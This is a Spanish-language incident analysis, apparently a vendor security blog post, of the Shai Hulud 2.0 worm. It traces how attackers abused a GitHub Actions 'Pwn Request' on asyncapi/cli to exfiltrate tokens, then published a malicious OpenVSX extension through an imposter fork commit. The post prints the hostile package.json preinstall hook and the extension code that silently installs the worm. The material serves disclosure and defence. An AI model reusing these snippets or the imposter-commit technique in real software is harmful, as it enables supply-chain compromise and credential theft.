Aikido

Shai Hulud 2.0: Lo que el 'Unknown Wonderer' nos dice sobre el objetivo final de los atacantes.

Charlie EriksenCharlie Eriksen
|
#

La historia de Shai Hulud 2.0 contiene más giros y vueltas, que queremos destacar, ya que lo hemos visto migrar a múltiples ecosistemas por primera vez. En el proceso de exploración, hemos descubierto nueva información significativa que proporciona una visión más profunda de los pasos que dieron los atacantes. Estos son algunos puntos destacados de nuestros hallazgos:

  • La primera propagación del gusano comenzó el 23 de noviembre de 2025 a las 23:36 UTC, cuando los atacantes desplegaron una versión maliciosa de la asyncapi/asyncapi-preview extensión en OpenVSX.
  • Durante el primer ataque, los atacantes cambiaron el nombre de su cuenta de GitHub a UnknownWonderer1

Cuando he hablado con periodistas sobre los incidentes de S1ngularity y Shai Hulud, la gran pregunta sin respuesta siempre ha sido: ¿cuál es el objetivo final del atacante? Durante meses, no hemos tenido mucho con lo que trabajar, solo conjeturas e intuición.

Pero este pequeño detalle inspirado en la tradición refuerza una teoría que he escuchado de muchos investigadores: que estos atacantes no solo están causando caos por diversión o lucro. También están intentando enviar un mensaje. Es el tipo de energía de "mira lo frágil que es realmente tu mundo" que surge cuando alguien piensa que el ecosistema se ha vuelto demasiado confiado, demasiado automatizado y demasiado fácil de eludir.

Si esa es una motivación genuina o simplemente una autoimagen teatral, no importa realmente. El resultado es el mismo: un ataque diseñado no solo para propagarse, sino para hacernos confrontar la incómoda verdad de que nos hemos vuelto demasiado confiados en sistemas que son mucho más frágiles de lo que nos gustaría creer.

El Vagabundo Desconocido

El nombre de usuario UnknownWonderer1 es casi con certeza una referencia a los Zensunni Wanderers de Dune. Eran personas nómadas que pasaron milenios a la deriva por mundos, desplazadas y en gran parte desapercibidas por los poderosos.

Con el tiempo, esos vagabundos se convirtieron en los Fremen; la única cultura verdaderamente en sintonía con Shai-Hulud, los grandes gusanos de arena de Arrakis. Cuando se combina eso con un malware literalmente llamado Shai Hulud, la referencia deja de parecer accidental. Se convierte en una simetría inspirada en Dune: el vagabundo moviéndose sobre las arenas y el gusano excavando silenciosamente bajo ellas.

En la tradición de Dune, los Zensunni representan a personas que viven fuera de las estructuras oficiales, pasadas por alto hasta el momento en que su resiliencia remodela civilizaciones enteras. No es difícil ver por qué esa imaginería podría atraer a un atacante que se desliza a través de una cadena de suministro de software moderna.

Al adoptar esta identidad, los atacantes se presentan como una presencia igualmente invisible en el ecosistema, a la deriva entre repositorios, cuentas y paquetes sin llamar la atención.

Ese encuadre incluso insinúa una posible motivación. Sugiere a alguien que se ve a sí mismo como un forastero desafiando un sistema que considera frágil o complaciente, o quizás un vagabundo revelando debilidades en un entorno que los subestimó.

Y la metáfora encaja asombrosamente bien con el comportamiento del malware: silencioso, persistente y operando desde los puntos ciegos que nadie piensa en revisar. Todo esto hace que el nombre de usuario parezca menos una elección aleatoria y más una visión de cómo los atacantes imaginan su papel e impacto. Este proverbio, atribuido a El Látigo Zensunni, parece de alguna manera relevante y premonitorio:

No puedes manipular una marioneta con una sola cuerda

Propagándose en OpenVSX

El 23 de noviembre de 2025 a las 23:36 UTC, se publicó una nueva versión de la asyncapi/asyncapi-preview extensión en OpenVSX, que instalaría el gusano Shai Hulud 2.0. La forma en que se introdujo fue muy sigilosa y merece ser explorada con más detalle. A continuación, se presenta una visión paso a paso de cómo se desarrolló el ataque. 

Paso 1 - Preparar bifurcación de exfiltración

El 22 de noviembre de 2025 a las 16:06 UTC, el atacante vskpsfkbjs en GitHub creó un commit en una bifurcación del asyncapi/cli repositorio. 

https://github.com/asyncapi/cli/commit/9cbab46335c4c3fef2800a72ca222a44754e3ce1

En él, vemos cómo modifican un script utilizado por una de sus acciones de GitHub, haciéndolo exfiltrar la configuración local de git a un webhook.site endpoint. 

¿Observas que indica que pertenece a un fork externo al repositorio? Esto es importante. Porque este es un ejemplo clásico de una “Pwn Request”. Residirá únicamente en el fork del atacante del repositorio, pero más tarde se ejecutará desde dentro del asyncapi repositorio.

Paso 2 - Preparar la PR de ataque 

A continuación, el 22 de noviembre de 2025, a las 16:29 UTC, vemos al atacante creando una rama en su fork llamada patch-1

https://github.com/asyncapi/cli/commit/6473466dd512125032cf2f8a28f391f8722d4901

Hay algunas cosas que vale la pena mencionar aquí:

  • Observa que el nombre de usuario ha cambiado de vskpsfkbjs con UnknownWonderer1. Parece que el atacante renombró su cuenta de GitHub. 
  • El commit solo parece contener cambios de texto.

Es confuso, ¿verdad? ¿Por qué solo cambios de texto? La respuesta reside en cómo se ejecuta el flujo de trabajo de GitHub Actions. Dado que las GitHub Actions vulnerables extraen el código que se fusiona desde el fork, también incorporarán la versión maliciosa del archivo ‎.github/workflows/changeset-utils/index.js, que los atacantes ya habían preparado con su payload de exfiltración. Este archivo malicioso se ejecutará entonces en el contexto del repositorio oficial, exfiltrando sus secretos de GitHub. 

Paso 3 - Enviar PR de exfiltración

A continuación, el 22 de noviembre de 2025 a las 16:38 UTC, el atacante envía una PR al repositorio oficial para activar su payload de exfiltración. Vemos evidencia de esto en el historial de la nube de SonarQube:

https://sonarcloud.io/summary/new_code?id=asyncapi_cli&pullRequest=1903

En este punto, su payload malicioso se habrá ejecutado y habrá enviado el token de GitHub a su punto de exfiltración.

Paso 4 - Ocultar la evidencia

En este punto, el atacante habrá exfiltrado los tokens de GitHub del repositorio. Solo 2 minutos y 44 segundos después, a las 16:40 UTC, cerraron su pull request para ocultar sus huellas. 

Paso 5 - Desplegar el gusano

Al día siguiente, el 23 de noviembre de 2025, a las 22:56 UTC, los atacantes crearon un commit (probablemente en su fork) que parece haber sido autoría de GitHub Actions. El commit elimina todos los archivos del repositorio excepto package.json y añade el gusano. 

https://github.com/asyncapi/cli/commit/2efa4dff59bc3d3cecdf897ccf178f99b115d63d

El archivo package.json se modifica para ejecutar el gusano simplemente:

{
  "name": "asyncapi-utility",
  "version": "1.0.0",
  "bin": { "asyncapi-utility": "setup_bun.js" },
  "scripts": {
    "preinstall": "node setup_bun.js"
  },
  "license": "MIT"
}

Paso 6 - Desplegar extensión maliciosa de OpenVSX

Finalmente, la extensión maliciosa de OpenVSX fue desplegada el 23 de noviembre de 2025, a las 23:36 UTC. Aquí está el código malicioso que insertaron en el código de activación de la extensión:

  console.log("Congratulations, your extension \"asyncapi-preview\" is now active!");
      try {
        0;
        const e = a.spawn("npm", ["install", "github:asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63d"], {
          detached: true,
          stdio: "ignore"
        });
        if ("function" == typeof e.unref) {
          e.unref();
        }
        e.on("error", e => {});
      } catch (e) {}

Esto no parece tan sospechoso, ¿verdad? Parece tan simple como instalar el paquete AsyncAPI CLI desde un commit específico en el repositorio oficial, lo cual debería ser seguro. Pero no lo es. Se refiere al commit malicioso mencionado anteriormente, que existía en un fork, no en el repositorio oficial. ¿Todavía confundido? 

¿Confusión de commit? ¿Confusión de repositorio? 

Cuando vimos por primera vez el código “malicioso” anterior, nos quedamos atónitos. ¿Cómo podría ser inseguro instalar un paquete desde un repositorio legítimo de GitHub? La respuesta son los Imposter Commits, una propiedad poco conocida de GitHub. Verá, cuando alguien hace un fork de un repositorio en GitHub, cualquier commit en el fork también puede ser accedido mediante el hash del commit a través del repositorio original. Solo al ver el commit en la interfaz de usuario de GitHub se obtiene una indicación de que algo no está bien:

Este comportamiento es realmente contraintuitivo y poco amigable con la seguridad. Porque cuando ejecuta un comando como npm install asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63d, espera que instale código del repositorio asyncapi/cli. No un commit en un fork que ya ni siquiera existe. Este tipo de ataque podría considerarse una Confusión de Repositorio vulnerabilidad. 

Apéndice - Cronología detallada de GitHub

Marca de tiempo (UTC) Δ Tiempo Fase Acción Importancia
16:06:02 Reconocimiento Creó la rama fix-typos en el fork personal Configuración inicial; el usuario prepara la rama de trabajo
16:06:27 +0:25 Reconocimiento PR #1 creado en el fork (inferido de los datos del comentario) Probando el flujo de trabajo de PR en el propio repositorio
16:07:16 +0:49 Pruebas PR #1 cerrada en el fork Experimentando con la mecánica de las PR
16:08:25 +1:09 Pruebas PR #1 reabierta en el fork Continuación de las pruebas del flujo de trabajo
16:09:06 +0:41 Pruebas Push a la rama master Push directo a la master del fork
16:09:21 +0:15 Pruebas PR #1 cerrada de nuevo Finalizando el ciclo de pruebas
16:19:10 +9:49 Preparación Segundo push a master Sincronizando el fork con los cambios
16:19:40 +0:30 Activador de automatización El bot github-actions comenta en la PR Flujo de trabajo de changeset automático activado
16:29:26 +9:46 Staging Push a la nueva rama patch-1 Preparando la carga útil para el envío upstream
16:38:05 +8:39 Ejecución Se abrió la PR #1903 en asyncapi/cli 🚨 Intento de contribución upstream
16:40:49 +2:44 Retirada PR #1903 cerrada por el autor Eliminando la PR para borrar el rastro
4.7/5

Protege tu software ahora.

Empieza gratis
Sin tarjeta
Solicitar una demo
Sus datos no se compartirán · Acceso de solo lectura · No se requiere tarjeta de crédito

Asegúrate ahora.

Proteja su código, la nube y el entorno de ejecución en un único sistema central.
Encuentre y corrija vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.